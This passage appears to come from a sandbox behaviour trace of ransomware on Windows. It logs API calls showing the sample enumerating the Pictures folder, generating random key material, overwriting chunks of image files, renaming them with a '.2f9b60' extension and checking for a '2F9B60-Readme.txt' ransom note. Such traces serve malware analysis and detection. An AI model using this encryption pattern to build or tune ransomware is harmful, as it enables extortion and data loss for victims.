out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" [0097.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ae770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328 [0097.896] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53214340, ftCreationTime.dwHighDateTime=0x1d5e244, ftLastAccessTime.dwLowDateTime=0xa230da20, ftLastAccessTime.dwHighDateTime=0x1d5e025, ftLastWriteTime.dwLowDateTime=0xa230da20, ftLastWriteTime.dwHighDateTime=0x1d5e025, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmFg", cAlternateFileName="")) returned 1 [0097.896] wcscmp (_String1="UmFg", _String2=".") returned 1 [0097.896] wcscmp (_String1="UmFg", _String2="..") returned 1 [0097.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ed90 [0097.896] wcscpy (in: _Dest=0x1b85ed90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0097.896] wcscat (in: _Dest=0x1b85ed90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0097.896] wcscat (in: _Dest=0x1b85ed90, _Source="UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0097.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ed90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x132c [0097.897] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53214340, ftCreationTime.dwHighDateTime=0x1d5e244, ftLastAccessTime.dwLowDateTime=0xa230da20, ftLastAccessTime.dwHighDateTime=0x1d5e025, ftLastWriteTime.dwLowDateTime=0xa230da20, ftLastWriteTime.dwHighDateTime=0x1d5e025, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmFg", cAlternateFileName="")) returned 0 [0097.897] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0097.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0097.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 [0097.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 Thread: id = 622 os_tid = 0x109c [0095.694] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\TrN7x1hjqn2-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\trn7x1hjqn2-.gif")) returned 0x20 [0095.694] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\TrN7x1hjqn2-.gif", dwFileAttributes=0x20) returned 1 [0095.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\TrN7x1hjqn2-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\trn7x1hjqn2-.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe10 [0095.695] GetFileSizeEx (in: hFile=0xe10, lpFileSize=0x294df960 | out: lpFileSize=0x294df960*=99569) returned 1 [0095.695] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x184ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.695] ReadFile (in: hFile=0xe10, lpBuffer=0x294df8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x294df928, lpOverlapped=0x0 | out: lpBuffer=0x294df8e0*, lpNumberOfBytesRead=0x294df928*=0x4, lpOverlapped=0x0) returned 1 [0095.696] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0095.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0095.696] NtQuerySystemTime (in: CurrentTime=0x294df820 | out: CurrentTime=0x294df820*=132462177015322000) returned 0x0 [0095.696] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x760df3c9 [0095.696] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x6677dd9a [0095.696] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x606cd4d0 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x3038c182 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x764cdc24 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x77f9a56d [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0xe2c3e3 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x1a0a7f56 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x19189b8b [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x68ba3111 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x22e88c83 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x496e0062 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x2ee1fb82 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0xa4c0114 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x662941ff [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x455d727a [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x669e5d0f [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x1b9b8485 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x48b91f98 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x2370d4d0 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x2fb47be7 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x58f24c88 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x27214fbe [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x42cbfee2 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x3495da90 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x261c2b02 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x4da813d6 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x70d3bc95 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x30202df7 [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x22ed7fdf [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x1c638fec [0095.697] RtlRandomEx (in: Seed=0x294df810 | out: Seed=0x294df810) returned 0x1adfc96d [0095.716] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.716] ReadFile (in: hFile=0xe10, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.716] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0095.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0095.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0095.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0095.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0095.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0095.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0095.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0095.717] WriteFile (in: hFile=0xe10, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0095.885] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.885] ReadFile (in: hFile=0xe10, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.886] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0095.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced86d0 [0095.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced86d0) returned 1 [0095.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0095.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced86d0 [0095.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8700 [0095.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8700) returned 1 [0095.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.887] WriteFile (in: hFile=0xe10, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0095.893] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x148f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.893] ReadFile (in: hFile=0xe10, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.893] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x148f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0095.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e90 [0095.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e90) returned 1 [0095.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0095.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e90 [0095.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0095.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0095.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.894] WriteFile (in: hFile=0xe10, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x294df880, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x294df880*=0x3c00, lpOverlapped=0x0) returned 1 [0095.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0095.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef00 [0095.906] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.906] WriteFile (in: hFile=0xe10, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x294df930, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x294df930*=0x152, lpOverlapped=0x0) returned 1 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0095.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced86d0 [0095.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced86d0) returned 1 [0095.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97620 [0095.909] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="72") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="50") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="68") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="ff") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="1c") returned 2 [0095.909] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="22") returned 2 [0095.909] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="46") returned 2 [0095.909] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="a4") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="0d") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="6a") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="34") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="23") returned 2 [0095.909] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="1b") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="26") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="b7") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="bc") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="76") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="1f") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="e2") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="73") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="3d") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="5c") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="e6") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="e4") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="a8") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="71") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="bd") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="af") returned 2 [0095.910] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="c7") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="9b") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9765c, _Format="%c%c" | out: _Dest="ea") returned 2 [0095.910] sprintf (in: _Dest=0x1cd9765e, _Format="%c%c" | out: _Dest="1d") returned 2 [0095.910] RtlInitAnsiString (in: DestinationString=0x294df9a8, SourceString="725068ff1c2246a40d6a34231b26b7bc761fe2733d5ce6e4a871bdafc79bea1d" | out: DestinationString="725068ff1c2246a40d6a34231b26b7bc761fe2733d5ce6e4a871bdafc79bea1d") [0095.910] RtlAnsiStringToUnicodeString (in: DestinationString=0x294df978, SourceString="725068ff1c2246a40d6a34231b26b7bc761fe2733d5ce6e4a871bdafc79bea1d", AllocateDestinationString=1 | out: DestinationString="725068ff1c2246a40d6a34231b26b7bc761fe2733d5ce6e4a871bdafc79bea1d") returned 0x0 [0095.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4da40 [0095.911] wcscat (in: _Dest=0x1b85c840, _Source="725068ff1c2246a4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4" [0095.911] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4.2f9b60" [0095.911] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4.2f9b60", NtPathName=0x294df950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\725068ff1c2246a4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10a50 [0095.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 [0095.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663b0) returned 1 [0095.912] NtQueryInformationFile (in: FileHandle=0xe10, IoStatusBlock=0x294df9b8, FileInformation=0x294df9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x294df9b8, FileInformation=0x294df9c8) returned 0x0 [0095.912] NtSetInformationFile (FileHandle=0xe10, IoStatusBlock=0x294df9b8, FileInformation=0x294df9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0095.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0095.914] FlushFileBuffers (hFile=0xe10) returned 1 [0095.928] CloseHandle (hObject=0xe10) returned 1 [0095.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e170 [0095.929] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0095.929] wcscat (in: _Dest=0x1b79e170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0095.929] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0x20 [0095.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0095.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 Thread: id = 623 os_tid = 0x10a0 [0095.733] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ycan 6cv6s.png")) returned 0x20 [0095.733] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png", dwFileAttributes=0x20) returned 1 [0095.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ycan 6cv6s.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0095.734] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x2937fac0 | out: lpFileSize=0x2937fac0*=43125) returned 1 [0095.734] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0xa871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.734] ReadFile (in: hFile=0xe80, lpBuffer=0x2937fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2937fa88, lpOverlapped=0x0 | out: lpBuffer=0x2937fa40*, lpNumberOfBytesRead=0x2937fa88*=0x4, lpOverlapped=0x0) returned 1 [0095.735] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0095.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.736] NtQuerySystemTime (in: CurrentTime=0x2937f980 | out: CurrentTime=0x2937f980*=132462177015634000) returned 0x0 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x1c43d616 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x2b430bb4 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x24182ca5 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x5af3913d [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x513bae2e [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x606dcbfb [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x692206d8 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x1e2390d0 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x700e39cd [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x698daef9 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x58e4d232 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x40402f24 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0xda8a2c1 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x5c458cba [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x9eef399 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x4806204d [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x6be7ed75 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x1409b233 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x51195bc7 [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x253e251c [0095.736] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x74f1b30 [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x46a7ec5a [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x17ddf2cc [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x63485aef [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x27c0e626 [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x30639a42 [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x18ff2719 [0095.737] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 